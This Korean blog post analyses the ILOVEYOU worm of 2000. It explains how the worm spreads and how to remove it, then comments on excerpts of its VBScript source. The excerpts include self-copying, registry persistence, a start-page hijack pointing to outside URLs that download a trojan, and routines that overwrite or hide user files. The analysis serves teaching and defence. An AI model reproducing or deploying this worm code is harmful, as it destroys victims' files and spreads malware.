ILOVEYOU, Love Letter Virus
2000년도에 발생한 바이러스로 LOVE-LETTER-FOR-YOU.TXT.vbs 를 실행시키면 사용자의 아웃룩에 등록되어 있는 모든 메일 주소로 I LOVE YOU라는 메일을 보내며, 확장자가 vbs, vbe, js, css, wsh, sct, hta, jpg, jpeg, mp2, mp3인 모든 파일을 "I Love You"라는 내용만이 적힌 스크립트 파일로 만든다. 본능적으로 I LOVE YOU라는 메일을 클릭하고 싶은 사람의 심리를 이용한 사회공학적 바이러스이다.
감염대상
윈도우 운영체제에 Outlook이나 Exchange 메일 프로그램을 사용하는 자
동작원리
1. LOVE-LETTER-FOR-YOU.TXT.vbs 첨부파일 클릭으로 VBScript 실행
2. Windows 탐색기가 WIN-BUGFIX.EXE(트로이목마 프로그램)을 컴퓨터에 다운로드
3.이메일에 존재하는 연락처로 동일한 메세지 전송
4. js, css, wsh, sct, hta 확장자의 파일은 vbs확장자를 가진 악성 스크립트로 대체
5. jpg, jpeg 확장자를 가진 파일은 삭제되고 원본 파일이름을 가진 악성코드로 대체
6. mp2, mp3파일은 숨겨지고 원본 파일이름을 가진 악성코드로 대체
해결방안
1. 인터넷 차단 : 메일이 연락처로 전송되는 걸 막기위해 인터넷을 차단. 하지만 파일을 이미 실행 시켰을 경우 이미 늦었다고 판단
2. 바이러스 스캔 및 제거 : 안티바이러스 스캔 도구를 사용하여 스캔 후 제거
3. 소프트웨어 업데이트 : 운영체제 및 보안 소프트웨어 버전을 최신으로 유지
4. 예방 : 가장 좋은 방법으로 이메일로 수상한 파일이 첨부되어 있다면 열람 금지
ILOVEYOU 바이러스 소스 코드 분석
※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.
1. 공격을 위한 환경 설정
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
- 파일 시스템 객체를 만든후 현재스크립트를 읽기모드로 불러와서 file변수에 저장
- vbscopy변수에 file변수에 있는 내용을 저장
rem Creates a shell which will be used to read the registry.
Set wscr = CreateObject("WScript.Shell")
rem Gets a registry key which indicates the scripting time-out from Windows.
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
rem Checks if the current timeout is more than 0.
If (rr >= 1) Then
rem Sets the timeout to 0, effectively making it so that the script won't
rem time out, incase the system happens to be too slow to execute it.
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
- wscr변수에 WScript.Shell 개체를 생성하여 레지스트리를 조작할 수 있는 기능을 제공하고 rr변수에 Windows 스크립팅 호스트의 타임아웃 설정 값을 저장
- rr이 1이상이라면 타임 아웃 값을 0으로 설정하여 시스템이 느려 스크립트가 중단되는 것을 방지
2. 공격 시작
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
- dirwin, dirsystem, dirtemp 변수에 윈도우 특수폴더를 삽입. 0은 Windows 폴더, 1은 시스템 폴더, 2는 임시 폴더
- 현재 스크립트를 \MSKernel32.vbs, \win32DLL.vbs, \LOVE-LETTER-FOR-YOU.TXT.vbs파일의 이름으로 Windows폴더, 시스템 폴더, 임시 폴더에 복사
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
- 새로운 레지스트리 키를 생성해서 윈도우가 부팅될 때마다 \MSKernel32.vbs가 실행되도록 설정, Win32DLL.vbs파일이 시스템 서비스에 실행되도록 설정
- downread변수에 인터넷익스플로어 다운로드 디렉토리를 저장
- 만약 downread에 값이 없다면 "c:\"경로를 downread변수에 저장
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
- 시스템 폴더에 \WinFAT32.exe파일이 존재하면 1~4까지 숫자를 랜덤으로 num변수에 넣은 후 num의 값에 따라 인터넷 익스플로러의 시작페이지를 악성페이지로 설정
- 인터넷 익스플로러를 실행하게되면 WIN-BUGSFIX.exe를 다운
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
- 다운 경로에 \WIN-BUGSFIX.exe파일이 존재한다면 윈도우가 부팅될 때 \WIN-BUGSFIX.exe가 실행되도록 레지스트리에 등록하고 인터넷 익스플로러의 시작페이지를 about:blank로 설정
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
rem and creates a copy of the file with the .vbs extension.
- 폴더의 파일들을 fc변수에 저장한 후 For Each f1 In fc구문으로 반복문을 실행
- f1의 확장자를 ext변수에 저장하고 파일이름과 확장자를 소문자로 변환
- 확장자가 vbs 또는 vbe인경우 파일을 쓰기 모드로 열고 vbscopy의 내용을 쓴 후에 닫습니다.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
rem Sets file attributes to make the file Hidden.
rem Normal files have the attribute set to 0 so adding 2 to it,
rem will set the attributes to Hidden.
att.attributes = att.attributes + 2
End If
- js, jse, css, wsh, sct, hta 확장자와 jpg, jpeg확장자는 기존 과정을 거치고 확장자를 .vbs로 변경 후 원본 파일을 삭제
- mp3와 mp2파일은 기존 과정을 거친 후 원본 파일의 속성을 변경하여 숨김파일로 변경.
- Hidden속성에 해당하는 속성 값은 일반적으로 2이기 때문에 기존 파일의 속성에 +2를 실행
ILOVEYOU VIRUS 소스 코드
'악성코드 > virus' 카테고리의 다른 글
Ransomeware (1) | 2023.11.30 |
---|